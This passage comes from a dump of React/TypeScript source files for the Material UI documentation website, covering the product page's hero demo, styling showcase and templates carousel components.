React.useState('left');\n  return (\n    <Paper elevation={0} variant=\"outlined\" sx={{ p: 2 }}>\n      <ToggleButtonGroup\n        value={alignment}\n        exclusive\n        onChange={(event, newAlignment) => {\n          setAlignment(newAlignment);\n        }}\n        aria-label=\"text alignment\"\n      >\n        <ToggleButton value=\"left\" aria-label=\"left aligned\" size=\"small\">\n          <FormatAlignLeftIcon fontSize=\"small\" />\n        </ToggleButton>\n        <ToggleButton value=\"center\" aria-label=\"centered\" size=\"small\">\n          <FormatAlignCenterIcon fontSize=\"small\" />\n        </ToggleButton>\n        <ToggleButton value=\"right\" aria-label=\"right aligned\" size=\"small\" disabled>\n          <FormatAlignRightIcon fontSize=\"small\" />\n        </ToggleButton>\n      </ToggleButtonGroup>\n    </Paper>\n  );\n}\nfunction TabsDemo() {\n  const [index, setIndex] = React.useState(0);\n  return (\n    <Paper>\n      <Tabs\n        value={index}\n        onChange={(event, newIndex) => setIndex(newIndex)}\n        variant=\"fullWidth\"\n        aria-label=\"icon label tabs example\"\n      >\n        <Tab icon={<CakeRounded fontSize=\"small\" />} label=\"Cakes\" />\n        <Tab icon={<CelebrationRounded fontSize=\"small\" />} label=\"Party\" />\n        <Tab icon={<AttractionsRounded fontSize=\"small\" />} label=\"Park\" />\n      </Tabs>\n    </Paper>\n  );\n}\nfunction BadgeVisibilityDemo() {\n  const [count, setCount] = React.useState(1);\n  return (\n    <Paper\n      variant=\"outlined\"\n      elevation={0}\n      sx={{\n        width: '100%',\n        color: 'action.active',\n        p: 2,\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        '& .MuiBadge-root': {\n          marginRight: 4,\n        },\n      }}\n    >\n      <div>\n        <Badge color=\"primary\" badgeContent={count}>\n          <NotificationsIcon fontSize=\"small\" />\n        </Badge>\n        <ButtonGroup>\n          <Button\n            size=\"small\"\n            aria-label=\"reduce\"\n            onClick={() => {\n              setCount(Math.max(count - 1, 0));\n            }}\n          >\n            <RemoveIcon fontSize=\"small\" />\n          </Button>\n          <Button\n            size=\"small\"\n            aria-label=\"increase\"\n            onClick={() => {\n              setCount(count + 1);\n            }}\n          >\n            <AddIcon fontSize=\"small\" />\n          </Button>\n        </ButtonGroup>\n      </div>\n    </Paper>\n  );\n}\nfunction SwitchToggleDemo() {\n  const label = { slotProps: { input: { 'aria-label': 'Switch demo' } } };\n  return (\n    <Box\n      sx={{ width: '100%', display: 'flex', alignItems: 'center', justifyContent: 'space-between' }}\n    >\n      <Switch {...label} defaultChecked />\n      <Switch {...label} />\n      <Checkboxes />\n      <ToggleButtons />\n    </Box>\n  );\n}\nfunction SlideDemo() {\n  const [value, setValue] = React.useState([30, 60]);\n  return (\n    <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n      <AcUnitRounded\n        fontSize=\"small\"\n        color=\"primary\"\n        sx={{ opacity: `max(0.4, ${(100 - value[0]) / 100})` }}\n      />\n      <Slider\n        aria-labelledby=\"temperature-slider\"\n        value={value}\n        onChange={(_, newValue) => setValue(newValue)}\n      />\n      <LocalFireDepartment\n        fontSize=\"small\"\n        color=\"error\"\n        sx={{ opacity: `max(0.4, ${value[1] / 100})` }}\n      />\n    </Stack>\n  );\n}\nconst { palette: lightPalette } = getDesignTokens('light');\nconst { palette: darkPalette } = getDesignTokens('dark');\nconst customTheme = extendTheme({\n  cssVarPrefix: 'hero',\n  colorSchemeSelector: 'data-mui-color-scheme',\n  colorSchemes: {\n    light: {\n      palette: {\n        ...(lightPalette?.primary && { primary: lightPalette?.primary }),\n        ...(lightPalette?.grey && { grey: lightPalette?.grey }),\n        ...(lightPalette?.background && { background: lightPalette?.background }),\n      },\n    },\n    dark: {\n      palette: {\n        ...(darkPalette?.primary && { primary: darkPalette?.primary }),\n        ...(darkPalette?.grey && { grey: darkPalette?.grey }),\n        ...(darkPalette?.background && { background: darkPalette?.background }),\n      },\n    },\n  },\n});\nexport default function MaterialHero() {\n  return (\n    <HeroContainer\n      linearGradient\n      left={\n        <Box sx={{ textAlign: { xs: 'center', md: 'left' } }}>\n          <Typography\n            variant=\"body2\"\n            sx={[\n              {\n                fontWeight: 'bold',\n              },\n              (theme) => ({\n                color: 'primary.600',\n                display: 'flex',\n                alignItems: 'center',\n                gap: 1,\n                justifyContent: { xs: 'center', md: 'flex-start' },\n                ...theme.applyDarkStyles({\n                  color: 'primary.300',\n                }),\n              }),\n            ]}\n          >\n            <IconImage loading=\"eager\" width={28} height={28} name=\"product-core\" />{' '}\n            <Link href={ROUTES.productCore}>MUI Core</Link>{' '}\n            <Typography component=\"span\" variant=\"inherit\" sx={{ color: 'divider' }}>\n              /\n            </Typography>\n            <Typography component=\"span\" variant=\"inherit\" sx={{ color: 'text.primary' }}>\n              Material UI\n            </Typography>\n          </Typography>\n          <Typography variant=\"h1\" sx={{ my: 2, maxWidth: 500 }}>\n            Ready to use <br />\n            <GradientText>Material Design</GradientText>\n            <br />\n            components\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', mb: 3, maxWidth: 500 }}>\n            Material UI is an open-source React component library that implements Google&apos;s\n            Material Design. It&apos;s comprehensive and can be used in production out of the box.\n          </Typography>\n          <GetStartedButtons\n            primaryUrl={ROUTES.materialDocs}\n            secondaryLabel=\"View templates\"\n            secondaryUrl={ROUTES.freeTemplates}\n            altInstallation=\"npm install @mui/material @emotion/react @emotion/styled\"\n          />\n        </Box>\n      }\n      rightSx={{\n        p: 3,\n        minWidth: 2000,\n        flexDirection: 'column',\n        overflow: 'hidden', // the components on the Hero section are mostly illustrative, even though they're interactive. That's why scrolling is disabled.\n      }}\n      right={\n        <CssVarsProvider theme={customTheme}>\n          <Paper sx={{ maxWidth: 780, p: 2, mb: 4 }}>\n            <Stepper activeStep={1}>\n              <Step>\n                <StepLabel>Search for React UI libraries</StepLabel>\n              </Step>\n              <Step>\n                <StepLabel>Spot Material UI</StepLabel>\n              </Step>\n              <Step>\n                <StepLabel>Choose Material UI</StepLabel>\n              </Step>\n            </Stepper>\n          </Paper>\n          <Box\n            sx={{\n              '& > div': {\n                width: 370,\n                display: 'inline-flex',\n                verticalAlign: 'top',\n              },\n            }}\n          >\n            <Stack spacing={4} useFlexGap>\n              <div>\n                <Accordion\n                  elevation={0}\n                  variant=\"outlined\"\n                  defaultExpanded\n                  disableGutters\n                  sx={{ borderBottom: 0 }}\n                >\n                  <AccordionSummary\n                    expandIcon={<ExpandMoreRoundedIcon fontSize=\"small\" />}\n                    aria-controls=\"panel1a-content\"\n                    id=\"panel1a-header\"\n                  >\n                    <Typography variant=\"body2\">Usage</Typography>\n                  </AccordionSummary>\n                  <AccordionDetails>\n                    <Typography variant=\"body2\">\n                      Material UI components work in isolation. They are self-contained, and will\n                      only inject the styles they need to display.\n                    </Typography>\n                  </AccordionDetails>\n                </Accordion>\n                <Accordion elevation={0} variant=\"outlined\" disableGutters>\n                  <AccordionSummary\n                    expandIcon={<ExpandMoreRoundedIcon fontSize=\"small\" />}\n                    aria-controls=\"panel2a-content\"\n                    id=\"panel2a-header\"\n                  >\n                    <Typography variant=\"body2\">Globals</Typography>\n                  </AccordionSummary>\n                  <AccordionDetails>\n                    <Typography variant=\"body2\">\n                      Material UI understands a handful of important globals that you&apos;ll need\n                      to be aware of.\n                    </Typography>\n                  </AccordionDetails>\n                </Accordion>\n                <Accordion disabled elevation={0} disableGutters>\n                  <AccordionSummary\n                    expandIcon={<ExpandMoreRoundedIcon fontSize=\"small\" />}\n                    aria-controls=\"panel3a-content\"\n                    id=\"panel3a-header\"\n                  >\n                    <Typography variant=\"body2\">Secret Files</Typography>\n                  </AccordionSummary>\n                </Accordion>\n              </div>\n              <Alert variant=\"filled\" color=\"info\" icon={<CheckCircleRounded fontSize=\"small\" />}>\n                Check Material UI out now!\n              </Alert>\n              <SwitchToggleDemo />\n              <TabsDemo />\n              <Paper elevation={0} variant=\"outlined\" sx={{ overflow: 'hidden' }}>\n                <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n                  <ListItem alignItems=\"flex-start\">\n                    <ListItemAvatar>\n                      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n                    </ListItemAvatar>\n                    <ListItemText\n                      primary=\"Brunch this weekend?\"\n                      secondary={\n                        <React.Fragment>\n                          <Typography\n                            component=\"span\"\n                            variant=\"body2\"\n                            sx={{ color: 'text.primary', display: 'inline' }}\n                          >\n                            Michael Scott\n                          </Typography>\n                          {\" — I'll be in your neighborhood doing errands this…\"}\n                        </React.Fragment>\n                      }\n                    />\n                  </ListItem>\n                  <Divider variant=\"inset\" component=\"li\" />\n                  <ListItem alignItems=\"flex-start\">\n                    <ListItemAvatar>\n                      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n                    </ListItemAvatar>\n                    <ListItemText\n                      primary=\"Summer BBQ\"\n                      secondary={\n                        <React.Fragment>\n                          <Typography\n                            component=\"span\"\n                            variant=\"body2\"\n                            sx={{ color: 'text.primary', display: 'inline' }}\n                          >\n                            to Jim, Pam and Ryan\n                          </Typography>\n                          {\" — Wish I could come, but I'm out of town this…\"}\n                        </React.Fragment>\n                      }\n                    />\n                  </ListItem>\n                </List>\n              </Paper>\n            </Stack>\n            <Stack\n              spacing={4}\n              useFlexGap\n              sx={{ ml: 4, '& > .MuiPaper-root': { maxWidth: 'none' } }}\n            >\n              <Box sx={{ display: 'flex', gap: 2, '& button': { textWrap: 'nowrap' } }}>\n                <Button variant=\"contained\" startIcon={<DownloadIcon fontSize=\"small\" />} fullWidth>\n                  Install library\n                </Button>\n                <Button variant=\"outlined\" startIcon={<DownloadIcon fontSize=\"small\" />} fullWidth>\n                  Install library\n                </Button>\n              </Box>\n              <Paper elevation={0} variant=\"outlined\" sx={{ p: 2 }}>\n                <Typography\n                  id=\"temperature-slider\"\n                  component=\"div\"\n                  variant=\"subtitle2\"\n                  sx={{ mb: 1, fontWeight: 400 }}\n                >\n                  Temperature range\n                </Typography>\n                <SlideDemo />\n              </Paper>\n              <TextField\n                id=\"core-hero-input\"\n                defaultValue=\"Material UI\"\n                label=\"Component library\"\n              />\n              <Box\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'row',\n                  justifyContent: 'space-between',\n                  gap: 2,\n                }}\n              >\n                <BadgeVisibilityDemo />\n                <Paper\n                  variant=\"outlined\"\n                  elevation={0}\n                  sx={{\n                    width: '100%',\n                    py: 2,\n                    px: 2,\n                    display: 'flex',\n                    justifyContent: 'center',\n                    alignItems: 'center',\n                  }}\n                >\n                  <Rating name=\"half-rating\" defaultValue={2.5} precision={0.5} />\n                </Paper>\n              </Box>\n              <Card sx={{ maxWidth: 345 }}>\n                <CardHeader\n                  avatar={\n                    <Avatar\n                      sx={{ bgcolor: 'primary.50', color: 'primary.600', fontWeight: 'bold' }}\n                    >\n                      YN\n                    </Avatar>\n                  }\n                  title=\"Yosemite National Park\"\n                  subheader=\"California, United States\"\n                />\n                <CardMedia\n                  height={125}\n                  alt=\"\"\n                  component=\"img\"\n                  image=\"/static/images/cards/yosemite.jpeg\"\n                />\n                <CardContent sx={{ pb: 0 }}>\n                  <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                    Not just a great valley, but a shrine to human foresight, the strength of\n                    granite, the power of glaciers, the persistence of life, and the tranquility of\n                    the High Sierra.\n                  </Typography>\n                </CardContent>\n                <CardActions disableSpacing>\n                  <IconButton aria-label=\"add to favorites\">\n                    <FavoriteBorderRounded fontSize=\"small\" />\n                  </IconButton>\n                  <IconButton aria-label=\"share\">\n                    <ShareRounded fontSize=\"small\" />\n                  </IconButton>\n                  <IconButton aria-label=\"share\" sx={{ ml: 'auto' }}>\n                    <RateReviewOutlined fontSize=\"small\" />\n                  </IconButton>\n                </CardActions>\n              </Card>\n            </Stack>\n          </Box>\n        </CssVarsProvider>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productMaterial/MaterialStyling.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport DevicesOtherRoundedIcon from '@mui/icons-material/DevicesOtherRounded';\nimport SwitchAccessShortcutRoundedIcon from '@mui/icons-material/SwitchAccessShortcutRounded';\nimport DragHandleRounded from '@mui/icons-material/DragHandleRounded';\nimport StyleRoundedIcon from '@mui/icons-material/StyleRounded';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport Frame from 'docs/src/components/action/Frame';\nimport RealEstateCard from 'docs/src/components/showcase/RealEstateCard';\nimport FlashCode from 'docs/src/components/animation/FlashCode';\nimport useResizeHandle from 'docs/src/modules/utils/useResizeHandle';\n\nconst code = `\n<Card\n  variant=\"outlined\"\n  sx={{ p: 2, display: 'flex', flexWrap: 'wrap', zIndex: 1 }}\n>\n  <CardMedia\n    component=\"img\"\n    width=\"100\"\n    height=\"100\"\n    alt=\"123 Main St, Phoenix, AZ cover\"\n    src=\"/images/real-estate.png\"\n    sx={{\n      borderRadius: '6px',\n      width: { xs: '100%', sm: 100 },\n    }}\n  />\n  <Box sx={{ alignSelf: 'center', ml: 2 }}>\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', fontWeight: 'regular' }}>\n      123 Main St, Phoenix, AZ, USA\n    </Typography>\n    <Typography sx={{ fontWeight: 'bold' }} noWrap gutterBottom>\n      $280k - $310k\n    </Typography>\n    <Chip\n      size=\"small\"\n      variant=\"outlined\"\n      icon={<InfoRounded />}\n      label=\"Confidence score: 85%\"\n      sx={(theme) => ({\n        '.MuiChip-icon': { fontSize: 16, ml: '4px', color: 'success.500' },\n        bgcolor: 'success.50',\n        borderColor: 'success.100',\n        color: 'success.900',\n        ...theme.applyDarkStyles({\n          bgcolor: 'primaryDark.700',\n          color: 'success.200',\n          borderColor: 'success.900',\n        }),\n      })}\n    />\n  </Box>\n</Card>`;\n\nconst startLine = [27, 15, 12];\nconst endLine = [37, 20, 12];\nconst scrollTo = [27, 10, 4];\n\nexport default function MaterialStyling() {\n  const [index, setIndex] = React.useState(0);\n  const objectRef = React.useRef<HTMLDivElement>(null);\n  const { dragging, getDragHandlers } = useResizeHandle(objectRef, { minWidth: '253px' });\n  const infoRef = React.useRef<HTMLDivElement>(null);\n\n  const getSelectedProps = (i: number) => ({\n    selected: index === i,\n    sx: { '& svg': { opacity: index === i ? 1 : 0.5 } },\n  });\n\n  React.useEffect(() => {\n    // 18px line-height\n    // 16px margin-top\n    // 1px border-width\n    infoRef.current!.scroll({ top: scrollTo[index] * 18 + 16 - 1, behavior: 'smooth' });\n\n    objectRef.current!.style.setProperty('width', '100%');\n  }, [index]);\n\n  return (\n    <Section>\n      <Grid container spacing={2}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Styling\"\n            title={\n              <Typography variant=\"h2\">\n                Rapidly add and tweak any styles using <GradientText>CSS utilities</GradientText>\n              </Typography>\n            }\n            description=\"CSS utilities allow you to move faster and make for a smooth developer experience when styling any component.\"\n          />\n          <Group sx={{ m: -2, p: 2 }}>\n            <Highlighter disableBorder {...getSelectedProps(0)} onClick={() => setIndex(0)}>\n              <Item\n                icon={<StyleRoundedIcon color=\"primary\" />}\n                title=\"Leverage the tokens from your theme\"\n                description=\"Easily use the design tokens defined in your theme for any CSS property out there.\"\n              />\n            </Highlighter>\n            <Highlighter disableBorder {...getSelectedProps(1)} onClick={() => setIndex(1)}>\n              <Item\n                icon={<SwitchAccessShortcutRoundedIcon color=\"primary\" />}\n                title=\"No context switching\"\n                description=\"The styling and component usage are both in the same place, right where you need them.\"\n              />\n            </Highlighter>\n            <Highlighter disableBorder {...getSelectedProps(2)} onClick={() => setIndex(2)}>\n              <Item\n                icon={<DevicesOtherRoundedIcon color=\"primary\" />}\n                title=\"Responsive styles right inside system prop\"\n                description=\"An elegant API for writing CSS media queries that match your theme breakpoints.\"\n              />\n            </Highlighter>\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Frame sx={{ height: '100%' }}>\n            <Frame.Demo sx={{ overflow: 'auto' }}>\n              <Box\n                ref={objectRef}\n                style={{ touchAction: dragging ? 'none' : 'auto' }}\n                sx={{\n                  display: 'flex',\n                  justifyContent: 'center',\n                  alignItems: 'center',\n                  position: 'relative',\n                  p: { xs: 2, sm: 5 },\n                  pr: { xs: 2, sm: 3 },\n                  minHeight: index === 2 ? 280 : 'initial',\n                  backgroundColor: 'transparent',\n                }}\n              >\n                {index === 2 && (\n                  <React.Fragment>\n                    <Box\n                      sx={[\n                        {\n                          cursor: 'col-resize',\n                          display: 'flex',\n                          alignItems: 'center',\n                          position: 'absolute',\n                          right: 0,\n                          top: 0,\n                          height: '100%',\n                          color: 'grey.500',\n                          '&:hover': {\n                            color: 'grey.700',\n                          },\n                        },\n                        (theme) =>\n                          theme.applyDarkStyles({\n                            color: 'grey.500',\n                            '&:hover': {\n                              color: 'grey.300',\n                            },\n                          }),\n                      ]}\n                      {...getDragHandlers()}\n                    >\n                      <DragHandleRounded sx={{ transform: 'rotate(90deg)' }} />\n                    </Box>\n                    <Box\n                      sx={(theme) => ({\n                        pointerEvents: 'none',\n                        width: '1px',\n                        bgcolor: 'grey.200',\n                        position: 'absolute',\n                        left: { xs: 335, sm: 375 },\n                        height: '100%',\n                        ...theme.applyDarkStyles({\n                          bgcolor: 'divider',\n                        }),\n                      })}\n                    >\n                      <Box\n                        sx={(theme) => ({\n                          position: 'absolute',\n                          bottom: 5,\n                          typography: 'caption',\n                          fontFamily: 'code',\n                          left: -30,\n                          color: 'text.secondary',\n                          borderRadius: '4px',\n                          bgcolor: 'grey.50',\n                          border: '1px solid',\n                          borderColor: 'grey.200',\n                          px: 0.5,\n                          ...theme.applyDarkStyles({\n                            bgcolor: 'primaryDark.700',\n                            borderColor: 'primaryDark.600',\n                          }),\n                        })}\n                      >\n                        xs\n                      </Box>\n                      <Box\n                        sx={(theme) => ({\n                          position: 'absolute',\n                          bottom: 5,\n                          typography: 'caption',\n                          fontFamily: 'code',\n                          left: 7,\n                          color: 'text.secondary',\n                          borderRadius: '4px',\n                          bgcolor: 'grey.50',\n                          border: '1px solid',\n                          borderColor: 'grey.200',\n                          px: 0.5,\n                          ...theme.applyDarkStyles({\n                            bgcolor: 'primaryDark.700',\n                            borderColor: 'primaryDark.600',\n                          }),\n                        })}\n                      >\n                        sm\n                      </Box>\n                    </Box>\n                  </React.Fragment>\n                )}\n                <RealEstateCard sx={{ width: '100%', maxWidth: 343 }} />\n              </Box>\n            </Frame.Demo>\n            <Frame.Info\n              ref={infoRef}\n              sx={{\n                maxHeight: index === 2 ? 282 : 400,\n                overflow: 'auto',\n              }}\n            >\n              <Box sx={{ position: 'relative', display: 'inline-block', minWidth: '100%' }}>\n                <HighlightedCode copyButtonHidden plainStyle code={code} language=\"jsx\" />\n                <FlashCode startLine={startLine[index]} endLine={endLine[index]} />\n              </Box>\n            </Frame.Info>\n          </Frame>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productMaterial/MaterialTemplates.tsx",
    "content": "import * as React from 'react';\nimport SwipeableViews from 'react-swipeable-views';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase, { ButtonBaseProps } from '@mui/material/ButtonBase';\nimport Typography from '@mui/material/Typography';\nimport LaunchRounded from '@mui/icons-material/LaunchRounded';\nimport DashboardRounded from '@mui/icons-material/DashboardRounded';\nimport Layers from '@mui/icons-material/Layers';\nimport ShoppingBag from '@mui/icons-material/ShoppingBag';\nimport KeyboardArrowLeftRounded from '@mui/icons-material/KeyboardArrowLeftRounded';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport { Link } from '@mui/docs/Link';\nimport More from 'docs/src/components/action/More';\n\nexport const DEMOS = ['Dashboard', 'Landing Pages', 'E-commerce'];\n\nexport const icons = {\n  [DEMOS[0]]: <DashboardRounded fontSize=\"small\" />,\n  [DEMOS[1]]: <Layers fontSize=\"small\" />,\n  [DEMOS[2]]: <ShoppingBag fontSize=\"small\" />,\n};\n\nexport const TEMPLATES = {\n  [DEMOS[0]]: [\n    {\n      name: 'Devias Kit Pro - Client & Admin Dashboard',\n      author: 'Devias',\n      src: {\n        light: '/static/branding/store-templates/template-4light.jpg',\n        dark: '/static/branding/store-templates/template-4dark.jpg',\n      },\n      href: 'https://mui.com/store/items/devias-kit-pro/',\n    },\n    {\n      name: 'Minimal - Client & Admin Dashboard',\n      author: 'Minimal',\n      src: {\n        light: '/static/branding/store-templates/template-1light.jpg',\n        dark: '/static/branding/store-templates/template-1dark.jpg',\n      },\n      href: 'https://mui.com/store/items/minimal-dashboard/',\n    },\n    {\n      name: 'Berry - React Material Admin Dashboard Template',\n      author: 'CodedThemes',\n      src: {\n        light: '/static/branding/store-templates/template-5light.jpg',\n        dark: '/static/branding/store-templates/template-5dark.jpg',\n      },\n      href: 'https://mui.com/store/items/berry-react-material-admin/',\n    },\n    {\n      name: 'Mira Pro - React Material Admin Dashboard',\n      author: 'Bootlab',\n      src: {\n        light: '/static/branding/store-templates/template-3light.jpg',\n        dark: '/static/branding/store-templates/template-3dark.jpg',\n      },\n      href: 'https://mui.com/store/items/mira-pro-react-material-admin-dashboard/',\n    },\n  ],\n  [DEMOS[1]]: [\n    {\n      name: 'theFront - Multipurpose Template + UI Kit',\n      author: 'Maccarian',\n      src: {\n        light: '/static/branding/store-templates/template-2light.jpg',\n        dark: '/static/branding/store-templates/template-2dark.jpg',\n      },\n      href: 'https://mui.com/store/items/the-front-landing-page/',\n    },\n    {\n      name: 'Webbee Multipurpose Landing Page UI Kit',\n      author: 'Maccarian',\n      src: {\n        light: '/static/branding/store-templates/template-6light.jpg',\n        dark: '/static/branding/store-templates/template-6dark.jpg',\n      },\n      href: 'https://mui.com/store/items/webbee-landing-page/',\n    },\n  ],\n  [DEMOS[2]]: [\n    {\n      name: 'Bazaar Pro - Multipurpose React Ecommerce Template',\n      author: 'UI Lib',\n      src: {\n        light: '/static/branding/store-templates/template-bazar-light.jpg',\n        dark: '/static/branding/store-templates/template-bazar-dark.jpg',\n      },\n      href: 'https://mui.com/store/items/bazar-pro-react-ecommerce-template/',\n    },\n  ],\n};\n\nfunction ActionArea(props: ButtonBaseProps) {\n  return (\n    <ButtonBase\n      {...props}\n      sx={[\n        (theme) => ({\n          width: { xs: 70, sm: 48 },\n          height: { xs: 70, sm: 48 },\n          position: 'absolute',\n          top: 'calc(50% - 50px)',\n          p: 1.5,\n          color: (theme.vars || theme).palette.primary[500],\n          bgcolor: '#FFF',\n          border: '1px solid',\n          borderColor: (theme.vars || theme).palette.primary[200],\n          borderRadius: '50%',\n          boxShadow: `0 4px 12px ${alpha(theme.palette.grey[500], 0.2)}`,\n          transition: '0.2s',\n          '& > svg': { transition: '0.2s' },\n          '&.Mui-disabled': {\n            opacity: 0,\n          },\n          '&:hover, &:focus': {\n            '& > svg': { fontSize: 28 },\n          },\n          ...theme.applyDarkStyles({\n            bgcolor: (theme.vars || theme).palette.primaryDark[900],\n            borderColor: (theme.vars || theme).palette.primary[900],\n            color: (theme.vars || theme).palette.primary[300],\n            boxShadow: `0 4px 12px ${alpha(theme.palette.common.black, 0.2)}`,\n          }),\n        }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    />\n  );\n}\n\nexport default function MaterialTemplates() {\n  const [demo, setDemo] = React.useState(DEMOS[0]);\n  const [templateIndex, setTemplateIndex] = React.useState(1);\n  const templates = TEMPLATES[demo];\n\n  return (\n    <Section bg=\"gradient\" cozy>\n      <SectionHeadline\n        alwaysCenter\n        overline=\"Templates\"\n        title={\n          <Typography variant=\"h2\">\n            The right template for your\n            <br /> <GradientText>specific use case</GradientText>\n          </Typography>\n        }\n        description=\"A carefully curated collection of gorgeous, fully functional templates.\"\n      />\n      <Group rowLayout desktopColumns={2} sx={{ p: 2 }}>\n        {DEMOS.map((name) => (\n          <Highlighter\n            key={name}\n            selected={name === demo}\n            onClick={() => {\n              setDemo(name);\n              setTemplateIndex(0);\n            }}\n          >\n            <Item\n              icon={React.cloneElement(icons[name], name === demo ? { color: 'primary' } : {})}\n              title={name}\n              smallerIconDistance\n            />\n          </Highlighter>\n        ))}\n        <More\n          component={Link}\n          href=\"https://mui.com/store/?utm_source=marketing&utm_medium=referral&utm_campaign=material-templates-cta2#populars\"\n          noLinkStyle\n        />\n      </Group>\n      <Box\n        sx={{\n          position: 'relative',\n          mt: 3,\n          minHeight: { xs: 240, sm: 320 },\n          height: { xs: 260, sm: 400, md: 500 },\n          mx: { xs: -2, sm: 0 },\n        }}\n      >\n        <Box\n          sx={{\n            position: 'absolute',\n            left: 0,\n            right: 0,\n            top: '50%',\n            py: 2,\n            transform: 'translate(0px, -50%)',\n            '& > div': { px: '12%', overflow: 'unset !important' },\n            '& .react-swipeable-view-container > div': {\n              overflow: 'unset !important',\n            },\n          }}\n        >\n          <SwipeableViews\n            springConfig={{\n              duration: '0.6s',\n              delay: '0s',\n              easeFunction: 'cubic-bezier(0.15, 0.3, 0.25, 1)',\n            }}\n            index={templateIndex}\n            resistance\n            enableMouseEvents\n            onChangeIndex={(index) => setTemplateIndex(index)}\n          >\n            {templates.map((item, index) => (\n              <Box\n                key={item.name}\n                sx={(theme) => ({\n                  overflow: 'auto',\n                  borderRadius: 1,\n                  height: { xs: 220, sm: 320, md: 500 },\n                  backgroundImage: `url(${item.src.light})`,\n                  backgroundSize: 'cover',\n                  backgroundRepeat: 'no-repeat',\n                  border: '1px solid',\n                  borderColor: templateIndex === index ? 'primary.100' : 'divider',\n                  boxShadow:\n                    templateIndex === index\n                      ? `0px 2px 12px ${alpha(theme.palette.primary[200], 0.3)}`\n                      : undefined,\n                  transition: '0.6s cubic-bezier(0.15, 0.3, 0.25, 1)',\n                  transform: templateIndex !== index ? 'scale(0.92)' : 'scale(1)',\n                  opacity: templateIndex === index ? 1 : 0.2,\n                  ...theme.applyDarkStyles({\n                    backgroundImage: `url(${item.src.dark})`,\n                    borderColor: templateIndex === index ? 'primary.900' : 'divider',\n                    boxShadow:\n                      templateIndex === index\n                        ? `0px 2px 8px ${alpha(theme.palette.primary[900], 0.4)}`\n                        : undefined,\n                  }),\n                })}\n              >\n                <Link\n                  href={`${item.href}?utm_source=marketing&utm_medium=referral&utm_campaign=templates-cta2`}\n                  noLinkStyle\n                  target=\"_blank\"\n                  sx={[\n                    (theme) => ({\n                      display: 'flex',\n                      alignItems: 'center',\n                      justifyContent: 'center',\n                      flexDirection: 'column',\n                      gap: 1,\n                      transition: '0.2s',\n                      position: 'absolute',\n                      width: '100%',\n                      height: '100%',\n                      opacity: 0,\n                      top: 0,\n                      left: 0,\n                      bgcolor: alpha(theme.palette.primary[50], 0.6),\n                      backdropFilter: 'blur(4px)',\n                      textDecoration: 'none',\n                      '&:hover, &:focus': {\n                        opacity: 1,\n                      },\n                      ...theme.applyDarkStyles({\n                        bgcolor: alpha(theme.palette.primaryDark[900], 0.6),\n                      }),\n                    }),\n                  ]}\n                >\n                  <Typography\n                    variant=\"body2\"\n                    sx={{ color: 'text.tertiary', fontWeight: 'semiBold', textAlign: 'center' }}\n                  >\n                    Developed by {templates[templateIndex].author}\n                  </Typography>\n                  <Typography\n                    component=\"p\"\n                    variant=\"h6\"\n                    sx={{ fontWeight: 'semiBold', textAlign: 'center', color: 'text.primary' }}\n                  >\n                    {templates[templateIndex].name}\n                  </Typography>\n                  <Box\n                    sx={[\n                      (theme) => ({\n                        display: 'flex',\n                        alignItems: 'center',\n                        gap: 0.5,\n                        color: 'primary.500',\n                        ...theme.applyDarkStyles({\n                          color: 'primary.200',\n                        }),\n                      }),\n                    ]}\n                  >\n                    <Typography sx={{ fontWeight: 'bold' }}>Buy now</Typography>\n                    <LaunchRounded fontSize=\"small\" />\n                  </Box>\n                </Link>\n              </Box>\n            ))}\n          </SwipeableViews>\n          {templates.length > 1 && (\n            <React.Fragment>\n              <ActionArea\n                aria-label=\"Previous template\"\n                disabled={templateIndex === 0}\n                onClick={() => setTemplateIndex((current) => Math.max(0, current - 1))}\n                sx={{ left: 0, transform: 'translate(-50%)', justifyContent: 'flex-end' }}\n              >\n                <KeyboardArrowLeftRounded />\n              </ActionArea>\n              <ActionArea\n                aria-label=\"Next template\"\n                disabled={templateIndex === templates.length - 1}\n                onClick={() =>\n                  setTemplateIndex((current) => Math.min(templates.length - 1, current + 1))\n                }\n                sx={{ right: 0, transform: 'translate(50%)', justifyContent: 'flex-start' }}\n              >\n                <KeyboardArrowRightRounded />\n              </ActionArea>\n            </React.Fragment>\n          )}\n        </Box>\n      </Box>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productMaterial/MaterialTheming.tsx",
